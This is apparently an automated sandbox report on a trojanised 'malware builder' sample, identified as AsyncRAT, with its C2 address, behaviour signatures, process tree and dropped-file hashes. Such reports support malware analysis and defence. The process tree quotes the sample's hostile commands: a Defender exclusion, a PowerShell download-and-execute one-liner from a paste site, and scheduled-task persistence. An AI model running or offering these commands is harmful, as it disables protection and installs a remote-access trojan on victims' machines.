Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    03/12/2024, 09:54

General

  • Target

    H-MalwareBuilderV5.exe

  • Size

    407KB

  • MD5

    c8f6d76b4ae82978272bde392561c4f4

  • SHA1

    80447d36fcf88cc9caa806db53e22d9468cc31ee

  • SHA256

    c981ebcf0c0cf857162ae35b9385c22d3198c2ec9ea00e37fcfe74a79eb3510e

  • SHA512

    10fa87f050a9ceb658e443317158ef8b1dbaa9e183ec61b5e5e42adb562f7918d996134aba7f0bbad852def4d6b0824c7b9716628b554194d0fd95974de6b2ad

  • SSDEEP

    12288:r5p4UNBN3aqeKNoRfwoZrHMBV9EwEcb8+DvtuWUb:r9N3aqPCRooZwBjEhcYcvYWUb

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

C2

bay-helps.gl.at.ply.gg:36538

Mutex

DcRatMutex_qwqdanchun

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Modifies security service 2 TTPs 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Async RAT payload 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 16 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:424
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{258d2e09-fd9d-46bc-98ae-0708683a0557}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2704
    • C:\Windows\system32\services.exe
      C:\Windows\system32\services.exe
      1⤵
        PID:476
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch
          2⤵
            PID:592
            • C:\Windows\system32\DllHost.exe
              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
              3⤵
                PID:1628
              • C:\Windows\system32\wbem\wmiprvse.exe
                C:\Windows\system32\wbem\wmiprvse.exe
                3⤵
                  PID:1040
                • C:\Windows\system32\wbem\wmiprvse.exe
                  C:\Windows\system32\wbem\wmiprvse.exe -Embedding
                  3⤵
                    PID:2508
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k RPCSS
                  2⤵
                    PID:672
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                    2⤵
                    • Modifies security service
                    PID:736
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
                    2⤵
                      PID:812
                      • C:\Windows\system32\Dwm.exe
                        "C:\Windows\system32\Dwm.exe"
                        3⤵
                          PID:1168
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs
                        2⤵
                        • Drops file in System32 directory
                        • Drops file in Windows directory
                        • Suspicious use of AdjustPrivilegeToken
                        PID:848
                        • \\?\C:\Windows\system32\wbem\WMIADAP.EXE
                          wmiadap.exe /F /T /R
                          3⤵
                          • Drops file in System32 directory
                          • Drops file in Windows directory
                          PID:1064
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService
                        2⤵
                          PID:960
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k NetworkService
                          2⤵
                            PID:276
                          • C:\Windows\System32\spoolsv.exe
                            C:\Windows\System32\spoolsv.exe
                            2⤵
                              PID:336
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
                              2⤵
                                PID:1052
                              • C:\Windows\system32\taskhost.exe
                                "taskhost.exe"
                                2⤵
                                  PID:1116
                                • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
                                  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
                                  2⤵
                                    PID:756
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
                                    2⤵
                                      PID:692
                                    • C:\Windows\system32\sppsvc.exe
                                      C:\Windows\system32\sppsvc.exe
                                      2⤵
                                        PID:2124
                                    • C:\Windows\system32\lsass.exe
                                      C:\Windows\system32\lsass.exe
                                      1⤵
                                        PID:492
                                      • C:\Windows\system32\lsm.exe
                                        C:\Windows\system32\lsm.exe
                                        1⤵
                                          PID:500
                                        • C:\Windows\Explorer.EXE
                                          C:\Windows\Explorer.EXE
                                          1⤵
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1208
                                          • C:\Users\Admin\AppData\Local\Temp\H-MalwareBuilderV5.exe
                                            "C:\Users\Admin\AppData\Local\Temp\H-MalwareBuilderV5.exe"
                                            2⤵
                                            • Drops startup file
                                            • Suspicious use of WriteProcessMemory
                                            PID:2464
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
                                              3⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2236
                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe
                                              "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"
                                              3⤵
                                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                                              • Executes dropped EXE
                                              • Suspicious use of SetThreadContext
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              • Suspicious use of WriteProcessMemory
                                              PID:320
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"
                                                4⤵
                                                • Suspicious use of WriteProcessMemory
                                                PID:344
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell "irm pastie.io/raw/fgaazw | iex"
                                                  5⤵
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:3008
                                              • C:\Windows\system32\SCHTASKS.exe
                                                "SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST
                                                4⤵
                                                • Scheduled Task/Job: Scheduled Task
                                                PID:2420
                                              • C:\Windows\system32\SCHTASKS.exe
                                                "SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST
                                                4⤵
                                                • Scheduled Task/Job: Scheduled Task
                                                PID:1944
                                            • C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
                                              "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              PID:2804
                                              • C:\Windows\system32\WerFault.exe
                                                C:\Windows\system32\WerFault.exe -u -p 2804 -s 612
                                                4⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2844
                                        • C:\Windows\system32\conhost.exe
                                          \??\C:\Windows\system32\conhost.exe "2055462624-197700093563723143868977547424880492-400638641-173280573-576077947"
                                          1⤵
                                          • Suspicious use of SetWindowsHookEx
                                          PID:1548
                                        • C:\Windows\system32\conhost.exe
                                          \??\C:\Windows\system32\conhost.exe "573067036112389337326148716414429736001058564861-902394624-2482316381801903524"
                                          1⤵
                                            PID:2624
                                          • C:\Windows\system32\conhost.exe
                                            \??\C:\Windows\system32\conhost.exe "-21362721891550524503632335612-318164403-1292846999-256098787-402266205418893860"
                                            1⤵
                                              PID:1900

                                            Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe

                                              Filesize

                                              611KB

                                              MD5

                                              515c515dc79e543c37bbfa3726e4eedb

                                              SHA1

                                              26204367d2fb407d04696e0b824472ae37a7792f

                                              SHA256

                                              1ff13dcc9b8d8ff1117a56ea10fdbdc41702c69b0031ebc23ae3978f673c9d31

                                              SHA512

                                              6910bccfc9933a29ef7a11cb09acc89c13f81f23163a62e6ef6cfb01b8819184d052fcacec9ea1005dd3318f3385353d5813078f25076203bae45abd88b29d23

                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                              Filesize

                                              7KB

                                              MD5

                                              91edfadb18eba4d09cd173247a91ca61

                                              SHA1

                                              34928375d2f289fc54eb759e3b3c4c0e56ac58c4

                                              SHA256

                                              2390196219113a7c7aac140de1e431db685b2397adf0268db31f7d1137404b68

                                              SHA512

                                              81bc22fe824dcfdffc6fcaa93153c687ea002e9f814620c11eddb91465471e2a8850656b1581d4210930f5841d4ee8492684df5668236cd27c9c2066870b2d37

                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe

                                              Filesize

                                              290KB

                                              MD5

                                              cc63633edfcc147cbaed1959b03d8730

                                              SHA1

                                              df7a250eba6ee1767b09f7923bfd735635deb9e8

                                              SHA256

                                              e699d9e9a81e9de82ce7ed645ef2a92ed6231e32cbc18a7e9ddff5c82623d417

                                              SHA512

                                              a584893714d46c6bdf4cc0a097b5f088a9aa49eea07b181745ca9b351b570c8ac3487bfe53a8a97213f5d8a7f71dbf4070ff92eab58b2ff7a4d0e784e17d02d4

                                            • C:\Windows\System32\perfc007.dat

                                              Filesize

                                              141KB

                                              MD5

                                              0f3d76321f0a7986b42b25a3aa554f82

                                              SHA1

                                              7036bba62109cc25da5d6a84d22b6edb954987c0

                                              SHA256

                                              dfad62e3372760d303f7337fe290e4cb28e714caadd3c59294b77968d81fe460

                                              SHA512

                                              bb02a3f14d47d233fbda046f61bbf5612ebc6213b156af9c47f56733a03df1bb484d1c3576569eb4499d7b378eb01f4d6e906c36c6f71738482584c2e84b47d0

                                            • C:\Windows\System32\perfc00A.dat

                                              Filesize

                                              150KB

                                              MD5

                                              540138285295c68de32a419b7d9de687

                                              SHA1

                                              1cf6a2a0f53f0516ff9fe5ac733dbb5a9255ae56

                                              SHA256

                                              33867c52f756f2b0f645f4bd503c65969d73676dcb14e6a6fdb2ffb11c7562eb

                                              SHA512

                                              7c17c10d4b6165aa0c208811dc6d98e2f4e75e3da1cc2313cc7da9d657626beb3e4ec00b07b71376a7c549725d40db20d8952753e70acc86e87a8390e224a64a

                                            • C:\Windows\System32\perfc00C.dat

                                              Filesize

                                              141KB

                                              MD5

                                              831dbe568992299e589143ee8898e131

                                              SHA1

                                              737726173aab8b76fe1f98104d72bb91abd273bf

                                              SHA256

                                              4f22ef1625fb2a2370779d0992f80b8e5e5da8dc727aa99ade152044d28e9405

                                              SHA512

                                              39015d29d593c9df59cdafbff95a6ddc000a5dbf767665b65f8ec65751e70315918c93d3583b922d32e9b6261b8c07023da660098ca79c5420b782c150b5c139

                                            • C:\Windows\System32\perfc010.dat

                                              Filesize

                                              138KB

                                              MD5

                                              cf82e7354e591c1408eb2cc0e29dd274

                                              SHA1

                                              7e91bd50c3e6b64b81e2b5c1ce723f52e34748e9

                                              SHA256

                                              59b5e6fbbe68f47db14a3c045b0ac1abb026c626ca4bee708fbd3940e6d2e06d

                                              SHA512

                                              98bd4809c1c418be4100096bc9df328d2ad435c5615c082fa2bfa424935203107015862cd9c1737800b7f7bd020fea4538c325707927c1557bc3efebffb27620

                                            • C:\Windows\System32\perfc011.dat

                                              Filesize

                                              114KB

                                              MD5

                                              1f998386566e5f9b7f11cc79254d1820

                                              SHA1

                                              e1da5fe1f305099b94de565d06bc6f36c6794481

                                              SHA256

                                              1665d97fb8786b94745295feb616a30c27af84e8a5e1d25cd1bcaf70723040ea

                                              SHA512

                                              a7c9702dd5833f4d6d27ce293efb9507948a3b05db350fc9909af6a48bd649c7578f856b4d64d87df451d0efbe202c62da7fffcac03b3fe72c7caaea553de75f

                                            • C:\Windows\System32\perfh007.dat

                                              Filesize

                                              668KB

                                              MD5

                                              5026297c7c445e7f6f705906a6f57c02

                                              SHA1

                                              4ec3b66d44b0d44ec139bd1475afd100748f9e91

                                              SHA256

                                              506d3bec72805973df3b2e11aba4d074aeb4b26b7335536e79ea1145108817cc

                                              SHA512

                                              5be8e51ecacda465b905df3e38ac114240d8fa6bae5bb17e8e53a87630454b57514ca0abbd8afefd798d450cd4ee89caf4391eeb837ced384260c188482fb48d

                                            • C:\Windows\System32\perfh009.dat

                                              Filesize

                                              634KB

                                              MD5

                                              1c678ee06bd02b5d9e4d51c3a4ec2d2b

                                              SHA1

                                              90aa7fdfaaa37fb4f2edfc8efc3994871087dedb

                                              SHA256

                                              2d168ab31836a08d8ca00aab9685f040aac4052a7f10fbbf0c28e9f880a79dd3

                                              SHA512

                                              ec665d7a20f27b2a0fe2475883009c6d34615cc2046d096de447ef57bcac9da0ae842be0556f5736f42d9c1c601fb8629896a2444990e508f7c573165088ab32

                                            • C:\Windows\System32\perfh00A.dat

                                              Filesize

                                              715KB

                                              MD5

                                              340af83514a525c50ffbbf8475ed62b7

                                              SHA1

                                              e2f382ae75afe7df8a323320bbb2aafa1ff6e407

                                              SHA256

                                              fb298e9a90476b4698def395a8ee1974c1cee3959b658662c730da915caea417

                                              SHA512

                                              8236aab579456ef4614ddd5fbfe72d0b0b26617c43a9cd53c3de56d3ac052eee8ca7d70749aaca0692855ecd4fd5f1460ac0b1dd30481dee519b910755c1cc2d

                                            • C:\Windows\System32\perfh00C.dat

                                              Filesize

                                              727KB

                                              MD5

                                              9d1cf2246f28d1cc1c4bc1203c9ee384

                                              SHA1

                                              bb72e32c442ba6237d9d084d54f327b0e6c9597d

                                              SHA256

                                              ace958537d27398a815102c1e9ee9d07b4da6282cd969a733c239b20f7bf94d5

                                              SHA512

                                              856fdff03fd00cb284dfd87166e9666d92eabe138d5a3fe5b1a0817d72acdefadf03e6a329224a5f8ef59369128a8895a91458c4225ec7da2df6cb5f61466b15

                                            • C:\Windows\System32\perfh010.dat

                                              Filesize

                                              722KB

                                              MD5

                                              4623482c106cf6cc1bac198f31787b65

                                              SHA1

                                              5abb0decf7b42ef5daf7db012a742311932f6dad

                                              SHA256

                                              eceda45aedbf6454b79f010c891bead3844d43189972f6beeb5ccddb13cc0349

                                              SHA512

                                              afecefcec652856dd8b4275f11d75a68a582337b682309c4b61fd26ed7038b92e6b9aa72c1bfc350ce2caf5e357098b54eb1e448a4392960f9f82e01c447669f

                                            • C:\Windows\System32\perfh011.dat

                                              Filesize

                                              394KB

                                              MD5

                                              24da30cbb5f0fe4939862880e72cc32c

                                              SHA1

                                              9132497736f52dae62b79be1677c05e32a7ba2ab

                                              SHA256

                                              a11a4228f8485db2f90466651f6cab07245a8ff5b3448636ab0abc4d618a4a1f

                                              SHA512

                                              332a57e8f0e8d7f82044f90388afd7509768ecb3f657c6be12d1f51ec1c66b8886c30d4b4a42d3a64c3e0d8b76d7cc86a1ac3b92713a68a62c12fdae6a77d6c2

                                            • memory/320-23-0x00000000779C0000-0x0000000077ADF000-memory.dmp

                                              Filesize

                                              1.1MB

                                            • memory/320-20-0x00000000003D0000-0x000000000040E000-memory.dmp

                                              Filesize

                                              248KB

                                            • memory/320-22-0x0000000077BE0000-0x0000000077D89000-memory.dmp

                                              Filesize

                                              1.7MB

                                            • memory/320-18-0x0000000001140000-0x000000000118E000-memory.dmp

                                              Filesize

                                              312KB

                                            • memory/320-231-0x0000000000A80000-0x0000000000A92000-memory.dmp

                                              Filesize

                                              72KB

                                            • memory/424-62-0x000007FEBFDC0000-0x000007FEBFDD0000-memory.dmp

                                              Filesize

                                              64KB

                                            • memory/424-30-0x0000000000D00000-0x0000000000D23000-memory.dmp

                                              Filesize

                                              140KB

                                            • memory/424-32-0x0000000000D00000-0x0000000000D23000-memory.dmp

                                              Filesize

                                              140KB

                                            • memory/424-61-0x0000000000DD0000-0x0000000000DFA000-memory.dmp

                                              Filesize

                                              168KB

                                            • memory/424-64-0x0000000037C20000-0x0000000037C30000-memory.dmp

                                              Filesize

                                              64KB

                                            • memory/476-72-0x0000000037C20000-0x0000000037C30000-memory.dmp

                                              Filesize

                                              64KB

                                            • memory/476-71-0x000007FEBFDC0000-0x000007FEBFDD0000-memory.dmp

                                              Filesize

                                              64KB

                                            • memory/476-69-0x0000000000160000-0x000000000018A000-memory.dmp

                                              Filesize

                                              168KB

                                            • memory/492-77-0x0000000000180000-0x00000000001AA000-memory.dmp

                                              Filesize

                                              168KB

                                            • memory/492-79-0x000007FEBFDC0000-0x000007FEBFDD0000-memory.dmp

                                              Filesize

                                              64KB

                                            • memory/492-80-0x0000000037C20000-0x0000000037C30000-memory.dmp

                                              Filesize

                                              64KB

                                            • memory/2236-7-0x000000001B620000-0x000000001B902000-memory.dmp

                                              Filesize

                                              2.9MB

                                            • memory/2236-6-0x0000000002AB0000-0x0000000002B30000-memory.dmp

                                              Filesize

                                              512KB

                                            • memory/2236-8-0x0000000001BE0000-0x0000000001BE8000-memory.dmp

                                              Filesize

                                              32KB

                                            • memory/2464-0-0x000007FEF5F83000-0x000007FEF5F84000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2464-1-0x0000000001090000-0x00000000010FC000-memory.dmp

                                              Filesize

                                              432KB

                                            • memory/2704-25-0x0000000140000000-0x0000000140040000-memory.dmp

                                              Filesize

                                              256KB

                                            • memory/2704-27-0x00000000779C0000-0x0000000077ADF000-memory.dmp

                                              Filesize

                                              1.1MB

                                            • memory/2704-24-0x0000000140000000-0x0000000140040000-memory.dmp

                                              Filesize

                                              256KB

                                            • memory/2704-26-0x0000000077BE0000-0x0000000077D89000-memory.dmp

                                              Filesize

                                              1.7MB

                                            • memory/2704-28-0x0000000140000000-0x0000000140040000-memory.dmp

                                              Filesize

                                              256KB

                                            • memory/2804-21-0x0000000000E00000-0x0000000000E9E000-memory.dmp

                                              Filesize

                                              632KB

                                            • memory/3008-271-0x0000000001F60000-0x0000000001F68000-memory.dmp

                                              Filesize

                                              32KB

                                            • memory/3008-270-0x000000001B730000-0x000000001BA12000-memory.dmp

                                              Filesize

                                              2.9MB